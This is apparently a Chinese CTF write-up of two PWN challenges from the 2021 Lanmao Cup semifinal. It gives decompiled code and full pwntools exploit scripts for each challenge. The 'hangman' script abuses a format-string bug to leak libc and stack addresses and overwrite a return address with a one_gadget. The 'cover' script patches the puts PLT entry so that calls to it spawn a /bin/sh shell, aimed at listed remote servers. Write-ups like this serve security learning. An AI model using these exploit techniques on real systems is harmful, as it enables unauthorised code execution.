2021蓝帽杯-半决赛PWN WP

First Post:

Last Update:

Word Count:
1.2k

Read Time:
7 min

2021蓝帽杯-半决赛 PWN WP

hangman

存在字符串漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
__int64 __fastcall game(unsigned int a1)
{
char *v1; // rsi
char v3; // [rsp+17h] [rbp-79h]
int i; // [rsp+18h] [rbp-78h]
int j; // [rsp+18h] [rbp-78h]
int v6; // [rsp+1Ch] [rbp-74h]
int v7; // [rsp+20h] [rbp-70h]
int v8; // [rsp+24h] [rbp-6Ch]
int k; // [rsp+28h] [rbp-68h]
int v10; // [rsp+2Ch] [rbp-64h]
char s[48]; // [rsp+30h] [rbp-60h] BYREF
char v12[40]; // [rsp+60h] [rbp-30h] BYREF
unsigned __int64 v13; // [rsp+88h] [rbp-8h]

v13 = __readfsqword(0x28u);
v6 = 0;
v7 = 0;
v8 = 0;
printf("This is your %d try\n", a1);
printf("\n\nEnter a word:");
v1 = s;
__isoc99_scanf("%40s", s);
v10 = strlen(s);
for ( i = 0; i < v10; ++i )
v12[i] = 42;
v12[v10] = 0;
for ( j = 0; j <= 45; ++j )
{
if ( v8 == v10 )
{
printf(s);
puts("\nYou win!");
break;
}
hangman(v6);
if ( v6 == 6 )
{
printf("\n\nThe word was: %s\n", v1);
puts(s);
puts("\n\nYou lose.");
break;
}
v1 = v12;
printf("\n\n\n\n%s", v12);
printf("\n\nGuess a letter:");
v3 = getchar();
for ( k = 0; k < v10; ++k )
{
if ( s[k] == v3 )
{
v12[k] = v3;
++v7;
++v8;
}
}
if ( !v7 )
++v6;
v7 = 0;
}
if ( a1 == 3 )
puts("You Failed!");
else
puts("\nOK, You get next round.");
while ( !getchar() )
;
return 0LL;
}

利用思路:

先泄漏libc,再泄漏main函数的返回地址的堆栈地址,修改main函数的返回地址为one_gadget。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: i0gan
from pwn import *
import os
r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
#context.arch = 'amd64'

elf_path = 'pwn'
libc_path = '/glibc/2.23/64/lib/libc.so.6'
libc_path = './libc-2.23.so'

# remote server ip and port
host = "118.190.62.234:33445"

# if local debug
LOCAL = 0
LIBC = 1
#--------------------------func-----------------------------
def db():
if(LOCAL):
gdb.attach(io)
def unique(s):
return ''.join(set(s))

#--------------------------exploit--------------------------
def exploit():
li('exploit...')
# leak libc
sla('word:', '%19$p')
sla(':', '%19$p')
ru('0x')
libc_base = int(io.recv(12), 16) - libc.sym['_IO_2_1_stdout_']
li('libc_base: ' + hex(libc_base))
one_gadget = libc_base + 0xf1247

# leak stack
sla('word:', '%24$p')
sla(':', '%24$p')
ru('0x')
stack = int(io.recv(12), 16) + 8
offset = 12
print('stack address: ' + hex(stack))
s = '%' + str(one_gadget & 0xff) + 'c%' + str(offset + 2) + '$hhn'
p = s.encode()
p += b'\x00' * 5 + p64(stack)
sla('word:', p)
sla(':', unique(s))

s = '%' + str((one_gadget >> 8) & 0xFFFF) + 'c%' + str(offset + 2) + '$hn'
p = s.encode()
p += b'\x00' * 3 + p64(stack + 1)
sla('word:', p)
sla(':', unique(s))

def finish():
ia()
c()
#--------------------------main-----------------------------
if __name__ == '__main__':
if LOCAL:
elf = ELF(elf_path)
if LIBC:
libc = ELF(libc_path)
io = elf.process()
else:
elf = ELF(elf_path)
io = remote(host.split(':')[0], int(host.split(':')[1]))
if LIBC:
libc = ELF(libc_path)
exploit()
finish()

cover

main函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int __cdecl main()
{
_BYTE *buf; // [esp+18h] [ebp-20h] BYREF
int v2; // [esp+1Ch] [ebp-1Ch]
int v3; // [esp+20h] [ebp-18h]
int v4; // [esp+24h] [ebp-14h]
int v5; // [esp+28h] [ebp-10h]
unsigned int v6; // [esp+2Ch] [ebp-Ch]

v6 = __readgsdword(0x14u);
sub_804862B();
buf = 0;
v2 = 0;
v3 = 0;
v4 = 0;
v5 = 0;
printf("Try use a bullet to pwn this%s\n", (const char *)&buf);
read(0, &buf, 5u); //单字节溢出
if ( (int)buf > (int)"ou launch the bullet, and... What's your name?%c\n" )
{
printf("%p is too big...\n", buf);
exit(0);
}
*buf = v2; // 输入地址之后,向该地址写入单字节,v2我们可控。
printf("OK,you launch the bullet, and... What's your name?%c\n", SHIBYTE(v5));
read(0, &buf, 10u);
puts((const char *)&buf); //调用puts,且传入参数为我们输入的字符串地址
return 0;
}

sub_804862B

1
2
3
4
5
6
7
8
unsigned int sub_804862B()
{
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
setvbuf(stderr, 0, 1, 0);
mprotect(&dword_8048000, 0x8888u, 7); // 修改内存权限 RWX
return alarm(0xAu);
}

程序逻辑是初始化,存在mprotect函数,是改写内存权限为RWX,这样的话就可以对内存指令进行修改。

利用思路:

单字节改写puts的plt 中的指令jmp到system。

通过调试对比,在puts plt +2改写为’\x24’即可在调用puts的时候跳到system函数

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: i0gan
from pwn import *
import os
r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
#context.arch = 'amd64'

elf_path = 'pwn'
libc_path = '/glibc/2.23/64/lib/libc.so.6'
libc_path = './libc.so.6'

# remote server ip and port
host = "118.190.62.234:12435"

# if local debug
LOCAL = 0
LIBC = 0
#--------------------------func-----------------------------
def db():
if(LOCAL):
gdb.attach(io)

#--------------------------exploit--------------------------
def exploit():
li('exploit...')
# system: .plt:080484E0 jmp ds:off_804A024
# puts .plt:080484D0 jmp ds:off_804A020
s(p32(elf.plt['puts'] + 2) + b'\x24') # 修改puts的plt到system
p = '/bin/sh'
#db()
s(p)

def finish():
ia()
c()
#--------------------------main-----------------------------
if __name__ == '__main__':
if LOCAL:
elf = ELF(elf_path)
if LIBC:
libc = ELF(libc_path)
io = elf.process()
else:
elf = ELF(elf_path)
io = remote(host.split(':')[0], int(host.split(':')[1]))
if LIBC:
libc = ELF(libc_path)
exploit()
finish()

打赏点小钱
支付宝 | Alipay
微信 | WeChat